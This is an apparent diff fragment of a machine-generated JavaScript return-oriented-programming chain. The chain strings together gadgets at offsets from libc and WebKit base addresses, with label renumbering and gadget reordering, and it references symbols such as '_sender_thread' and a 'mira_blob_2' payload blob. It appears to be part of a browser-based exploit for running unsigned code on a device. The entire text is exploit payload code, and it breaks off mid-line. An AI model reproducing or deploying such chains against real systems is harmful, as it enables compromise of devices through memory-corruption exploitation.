webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2495: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2493: +//L2477: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2494: +//L2476: db([32, 0]); // 0x20 +set_gadget(libc_base+206806,); //pop rdi +//L2478: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2496: +//L2479: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+167864, //L2498 +ropchain+167448, //L2480 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+167880, //L2499 +ropchain+167480, //L2482 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+167848, //L2497 +ropchain+167464, //L2481 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); -//L2497: +//L2480: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2498: +set_gadget(libc_base+206806,); //pop rdi +//L2481: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2499: +//L2482: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17376,17 +17307,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+167976, //L2500 +ropchain+167576, //L2483 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+167992, //L2501 +ropchain+167592, //L2484 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2500: +//L2483: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2501: +//L2484: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17396,32 +17327,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+168104, //L2502 +ropchain+167704, //L2485 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+168088, //L2503 +ropchain+167688, //L2486 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2503: +//L2486: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2502: +//L2485: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+168192, //L2505 +ropchain+167792, //L2488 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+168176, //L2504 +ropchain+167776, //L2487 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2504: +//L2487: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2505: +//L2488: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17431,17 +17362,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+168288, //L2506 +ropchain+167888, //L2489 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+168304, //L2507 +ropchain+167904, //L2490 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2506: +//L2489: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2507: +//L2490: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17451,17 +17382,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+168416, //L2508 +ropchain+168016, //L2491 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+168400, //L2509 +ropchain+168000, //L2492 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2509: +//L2492: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2508: +//L2491: db([0, 0]); // 0x0 //___bswap16_var: set_gadget(libc_base+793877,); //pop rsi @@ -17469,163 +17400,163 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+168488, //L2510 +ropchain+168088, //L2493 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2510: +//L2493: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+168584, //L2513 +ropchain+168184, //L2495 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+168616, //L2515 +ropchain+168216, //L2498 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi webkit_base+432898 //pop r8 ]); -//L2513: +//L2495: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L2514: +//L2497: db([16, 0]); // 0x10 set_gadget(libc_base+792472,); //pop rcx -//L2515: +//L2498: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+168704, //L2516 +ropchain+168304, //L2499 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+168720, //L2517 +ropchain+168320, //L2501 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2516: +//L2499: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2517: +//L2501: db([0, 0]); // 0x0 set_gadgets([ libc_base+270800, //mov ax, [rdi] libc_base+793877, //pop rsi -ropchain+168880, //L2522 +ropchain+168480, //L2505 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+168848, //L2519 +ropchain+168432, //L2503 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+168832, //L2520 +ropchain+168464, //L2504 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2520: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2519: +//L2503: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2521: +//L2502: db([16, 0]); // 0x10 +set_gadget(libc_base+206806,); //pop rdi +//L2504: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2522: +//L2505: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+168936, //L2523 +ropchain+168536, //L2507 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L2523: +//L2507: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+169040, //L2525 +ropchain+168640, //L2508 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+169072, //L2527 +ropchain+168672, //L2510 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+169056, //L2526 +ropchain+168656, //L2509 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2525: +//L2508: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2526: +//L2509: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2527: +//L2510: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+169232, //L2531 +ropchain+168832, //L2514 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+169200, //L2528 +ropchain+168784, //L2512 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+169184, //L2530 +ropchain+168816, //L2513 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2530: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2528: +//L2512: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2529: +//L2511: db([48, 0]); // 0x30 +set_gadget(libc_base+206806,); //pop rdi +//L2513: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2531: +//L2514: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+169336, //L2533 +ropchain+168936, //L2516 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+169320, //L2532 +ropchain+168920, //L2515 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2532: +//L2515: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2533: +//L2516: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); -//L2534: +//L2517: db([8, 0]); // 0x8 -set_gadget(libc_base+788575,); //pop rax -//L2535: +set_gadget(libc_base+792472,); //pop rcx +//L2518: db([8, 0]); // 0x8 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17636,38 +17567,38 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+169544, //L2538 +ropchain+169144, //L2521 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+169512, //L2537 +ropchain+169112, //L2519 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2537: +//L2519: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2536: +//L2520: db([48, 0]); // 0x30 set_gadget(libc_base+788575,); //pop rax -//L2538: +//L2521: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+169648, //L2540 +ropchain+169248, //L2523 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+169632, //L2539 +ropchain+169232, //L2522 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2539: +//L2522: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2540: +//L2523: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -17675,145 +17606,145 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+169728, //L2541 +ropchain+169344, //L2526 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2541: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2542: +//L2525: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L2526: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+169832, //L2544 +ropchain+169432, //L2527 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+169848, //L2545 +ropchain+169448, //L2529 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2544: +//L2527: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2545: +//L2529: db([0, 0]); // 0x0 set_gadgets([ libc_base+270800, //mov ax, [rdi] libc_base+793877, //pop rsi -ropchain+170008, //L2550 +ropchain+169608, //L2533 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+169976, //L2547 +ropchain+169560, //L2531 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+169960, //L2548 +ropchain+169592, //L2532 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2548: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2547: +//L2531: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2549: +//L2530: db([16, 0]); // 0x10 +set_gadget(libc_base+206806,); //pop rdi +//L2532: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2550: +//L2533: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+170064, //L2551 +ropchain+169664, //L2535 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L2551: +//L2535: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+170168, //L2553 +ropchain+169768, //L2536 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+170200, //L2555 +ropchain+169800, //L2538 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+170184, //L2554 +ropchain+169784, //L2537 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2553: +//L2536: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2554: +//L2537: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2555: +//L2538: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+170360, //L2559 +ropchain+169960, //L2542 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+170328, //L2556 +ropchain+169912, //L2540 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+170312, //L2558 +ropchain+169944, //L2541 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2558: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2556: +//L2540: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2557: +//L2539: db([48, 0]); // 0x30 +set_gadget(libc_base+206806,); //pop rdi +//L2541: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2559: +//L2542: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+170464, //L2561 +ropchain+170064, //L2544 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+170448, //L2560 +ropchain+170048, //L2543 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2560: +//L2543: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2561: +//L2544: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); -//L2562: +//L2545: db([8, 0]); // 0x8 -set_gadget(libc_base+788575,); //pop rax -//L2563: +set_gadget(libc_base+792472,); //pop rcx +//L2546: db([8, 0]); // 0x8 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17823,78 +17754,78 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+170664, //L2566 +ropchain+170264, //L2549 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+170632, //L2565 +ropchain+170232, //L2547 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2565: +//L2547: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2564: +//L2548: db([32, 0]); // 0x20 set_gadget(libc_base+788575,); //pop rax -//L2566: +//L2549: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+170768, //L2568 +ropchain+170368, //L2551 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+170752, //L2567 +ropchain+170352, //L2550 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2567: +//L2550: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2568: +//L2551: db([0, 0]); // 0x0 set_gadgets([ libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+170880, //L2571 +ropchain+170480, //L2554 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+170848, //L2570 +ropchain+170448, //L2552 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2570: +//L2552: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2569: +//L2553: db([48, 0]); // 0x30 set_gadget(libc_base+788575,); //pop rax -//L2571: +//L2554: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+170944, //L2572 +ropchain+170544, //L2556 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+792472 //pop rcx ]); -//L2572: +//L2556: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+171000, //L2574 +ropchain+170600, //L2558 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2574: +//L2558: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -17902,73 +17833,73 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+75236, //or rax, rcx libc_base+793877, //pop rsi -ropchain+171144, //L2576 +ropchain+170744, //L2560 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+171160, //L2578 +ropchain+170760, //L2561 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+171128, //L2577 +ropchain+170728, //L2559 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2577: +//L2559: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2576: +//L2560: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2578: +//L2561: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+171320, //L2582 +ropchain+170920, //L2565 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+171288, //L2579 +ropchain+170872, //L2563 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+171272, //L2581 +ropchain+170904, //L2564 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2581: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2579: +//L2563: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2580: +//L2562: db([48, 0]); // 0x30 +set_gadget(libc_base+206806,); //pop rdi +//L2564: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2582: +//L2565: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+171448, //L2584 +ropchain+171032, //L2566 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+171464, //L2585 +ropchain+171064, //L2568 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+171432, //L2583 +ropchain+171048, //L2567 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); -//L2583: +//L2566: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2584: +set_gadget(libc_base+206806,); //pop rdi +//L2567: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2585: +//L2568: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17978,17 +17909,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+171560, //L2586 +ropchain+171160, //L2569 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+171576, //L2587 +ropchain+171176, //L2570 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2586: +//L2569: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2587: +//L2570: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17998,32 +17929,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+171688, //L2588 +ropchain+171288, //L2571 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+171672, //L2589 +ropchain+171272, //L2572 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2589: +//L2572: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2588: +//L2571: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+171776, //L2591 +ropchain+171376, //L2574 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+171760, //L2590 +ropchain+171360, //L2573 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2590: +//L2573: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2591: +//L2574: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -18033,17 +17964,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+171872, //L2592 +ropchain+171472, //L2575 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+171888, //L2593 +ropchain+171488, //L2576 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2592: +//L2575: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2593: +//L2576: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -18053,17 +17984,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+172000, //L2594 +ropchain+171600, //L2577 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+171984, //L2595 +ropchain+171584, //L2578 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2595: +//L2578: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2594: +//L2577: db([0, 0]); // 0x0 //_sender_thread: set_gadget(libc_base+793877,); //pop rsi @@ -18071,178 +18002,178 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+172072, //L2596 +ropchain+171672, //L2579 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2596: +//L2579: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+172136, //L2598 +ropchain+171736, //L2581 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2598: +//L2581: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([48, 0]); // 0x30 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 -libc_base+792472, //pop rcx -//L2600: -(window.mira_blob_2||0), libc_base+793877 //pop rsi ]); -//L2601: +//L2584: db([4294967288, 4294967295]); // -0x8 set_gadgets([ +libc_base+792472, //pop rcx +//L2585: +(window.mira_blob_2||0), libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L2604: +//L2587: db([4294967284, 4294967295]); // -0xc set_gadgets([ libc_base+792472, //pop rcx -//L2605: +//L2588: (window.mira_blob_2_len||0), libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L2606: +//L2590: db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+172384, //L2608 +ropchain+171984, //L2591 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+172400, //L2609 +ropchain+172000, //L2593 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2608: +//L2591: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2609: +//L2593: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+172560, //L2614 +ropchain+172160, //L2597 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+172512, //L2611 +ropchain+172112, //L2594 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+172544, //L2613 +ropchain+172144, //L2596 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2611: +//L2594: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L2612: +//L2595: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2613: +//L2596: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2614: +//L2597: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+172688, //L2615 +ropchain+172288, //L2599 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+172704, //L2617 +ropchain+172304, //L2600 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+172672, //L2616 +ropchain+172272, //L2598 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2616: +//L2598: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2615: +//L2599: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2617: +//L2600: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+172808, //L2621 +ropchain+172408, //L2603 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+172856, //L2622 +ropchain+172456, //L2605 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+172824, //L2619 +ropchain+172440, //L2604 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2621: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2619: +//L2603: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L2620: +//L2602: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L2604: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2622: +//L2605: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp 